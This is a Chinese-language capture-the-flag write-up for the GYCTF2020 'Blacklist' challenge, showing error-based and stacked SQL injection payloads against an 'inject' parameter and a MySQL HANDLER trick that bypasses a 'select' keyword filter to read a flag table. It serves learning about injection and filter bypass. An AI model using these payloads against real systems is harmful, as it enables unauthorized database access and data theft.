[GYCTF2020]Blacklist
[GYCTF2020]Blacklist
题目直接就告诉需要绕过黑名单了,看着这个输入框,感觉是命令执行。
经过测试,确定不是命令执行了,是一个sql注入,看到报错信息,接着就使用报错注入试试了。
通过报错注入拿到了当前数据库名,接着就尝试爆破表名试试看。
# payload
?inject=0'-extractvalue(1,(concat('~',database())))+%23
爆破表名就被过滤了,原来在着等着呢,回显出了被过滤的关键字了。
select关键字被过滤了,但是发现没有过滤 ; 可以试试 堆叠注入 ,尝试一下。
# payload
?inject=0';show+database();show+tables;%23
成功堆叠注入了,查询出来了数据库和当前数据库中的表,flag 应该就在 FlagHere 表中。
# payload
?inject=0';show+columns+from+FlagHere;%23
但是select被过滤了怎么查看数据啊,还是度娘给力,想查什么都可以查到。
# HANDLER 语句
HANDLER tbl_name OPEN [ [AS] alias]
[
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
]
HANDLER table_name OPEN:打开一个表的句柄。
HANDLER table_name READ index:访问表的索引。
HANDLER table_name CLOSE:关闭已经打开的句柄。
# 1、通过指定的索引查询
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、通过的索引查看表
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# FIRST:获取第一行(索引最小的一行)
# NEXT:获取下一行
# PREV:获取上一行
# LAST:获取最后一行(索引最大的一行)
# 2、不通过索引查看表
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
## 完整示例
### 通过指定的索引查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ test_index=(4);HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
### 通过索引查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ FIRST;HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec
### 通过依次获取索引的下一行查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ NEXT;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 5 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 1 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 2 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
Empty set (0.00 sec)
#### 最后索引结束返回空
使用 HANDLER 语句查询到了flag。
# payload
?inject=0';HANDLER+FlagHere+OPEN;HANDLER+FlagHere+READ+NEXT;HANDLER+FlagHere+CLOSE;%23
参考文章:
[MYSQL中如何使用handler](
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/articles/16582234.html